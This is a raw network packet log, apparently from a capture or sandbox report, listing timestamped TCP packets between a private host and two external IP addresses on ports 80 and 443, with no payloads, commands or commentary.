Nov 5, 2024 10:13:25.452724934 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.452734947 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.452825069 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.452826023 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.452826023 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.452826023 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.452826023 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.485726118 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.485737085 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.485774040 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.485796928 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.485806942 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486316919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486362934 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486366987 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486383915 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486403942 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486417055 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486428022 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486444950 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486462116 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486588001 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486603022 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486620903 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486632109 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.486634016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486660957 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486686945 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.486982107 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487027884 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487039089 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487049103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487060070 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487071037 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487080097 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487106085 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487127066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487164021 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487623930 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487668991 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487675905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487694025 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487711906 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487719059 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487725019 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.487736940 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.487759113 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.527638912 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.527708054 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.527762890 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.527889013 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.527910948 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.527920961 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.527926922 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.530153990 CET	49769	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.530179977 CET	443	49769	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.530241013 CET	49769	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.530433893 CET	49769	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.530447006 CET	443	49769	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.531208038 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.531229019 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.531240940 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.531256914 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.531285048 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.568036079 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568090916 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568101883 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568114042 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568130016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.568192005 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568202972 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.568227053 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568237066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568259001 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.568284988 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.568295002 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608172894 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608217955 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608227015 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608243942 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608256102 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608258963 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608268023 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608282089 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608303070 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608334064 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608345032 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608350992 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608361959 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608380079 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608392000 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608721018 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608732939 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608742952 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608763933 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608783007 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608788013 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608793974 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608803988 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608825922 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608833075 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608844042 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608844995 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608854055 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.608880043 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.608891964 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.609741926 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.609790087 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.645258904 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.645270109 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.645315886 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.645369053 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.645379066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.645416975 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.646785021 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.646830082 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.646831989 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.646840096 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.646857977 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.646868944 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.646873951 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.646879911 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.646902084 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.683577061 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683588982 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683599949 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683640957 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.683657885 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.683713913 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683726072 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683737993 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683764935 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.683788061 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.683813095 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683825016 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.683861017 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.723715067 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.723741055 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.723758936 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.723763943 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.723769903 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.723779917 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.723783016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.723798037 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.723805904 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.723824978 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724040031 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724056005 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724066973 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724077940 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724085093 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724106073 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724133015 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724435091 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724446058 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724456072 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724466085 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724479914 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724484921 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724490881 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.724509001 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724535942 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.724970102 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.725009918 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.725018024 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.725020885 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.725033045 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.725042105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.725047112 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.725064993 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.725079060 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.760770082 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.760843992 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.760871887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.760881901 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.760891914 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.760917902 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.760957003 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.762407064 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.762418032 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.762428999 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.762439966 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.762450933 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.762463093 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.762473106 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.762495995 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.799032927 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799052000 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799061060 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799128056 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.799137115 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799146891 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799156904 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799168110 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.799225092 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.800679922 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.800743103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.800801039 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.800889015 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.839142084 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839159966 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839169025 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839226961 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839236975 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839246988 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839317083 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.839385033 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.839476109 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839485884 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839495897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839525938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839536905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839540958 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.839562893 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.839590073 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.839987993 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.839998007 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840008020 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840039968 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.840073109 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.840074062 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840085030 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840095997 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840106010 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840116024 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840127945 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.840152979 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.840745926 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840755939 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840765953 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840776920 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.840789080 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.840826988 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.876441956 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.876452923 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.876461983 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.876521111 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.877861023 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.877871990 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.877882004 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.877892971 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.877916098 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.877933979 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.877948999 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.877995968 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.878134966 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.878184080 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.915666103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.915677071 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.915685892 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.915695906 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.915705919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.915716887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.915746927 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.915791035 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.915949106 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.916002035 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.916124105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.916132927 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.916142941 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.916160107 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.916182995 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.954999924 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955012083 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955020905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955030918 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955040932 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955096006 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.955104113 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955115080 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955118895 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.955126047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955142021 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955147028 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955147028 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.955157042 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955167055 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.955180883 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.955199957 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.956479073 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956495047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956506014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956515074 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956525087 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956533909 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.956535101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956543922 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956553936 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956554890 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.956559896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956568003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956578970 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956584930 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.956588984 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.956610918 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.956623077 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.975405931 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.975917101 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.975936890 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.976380110 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.976385117 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.989430904 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.990000963 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.990010977 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.990437031 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.990441084 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.991791010 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.991808891 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.991820097 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.991873026 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.993199110 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.993208885 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.993217945 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.993249893 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.993283033 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.993311882 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.993321896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.993331909 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.993356943 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.993381977 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.006055117 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:26.006449938 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:26.006467104 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:26.007000923 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:26.007005930 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:26.030961990 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031059980 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.031136990 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031147003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031156063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031167030 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031194925 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.031234980 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.031291962 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031301975 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031317949 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031342030 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.031363010 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.031474113 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031483889 CET	80	49738	185.215.113.206	192.168.2.5
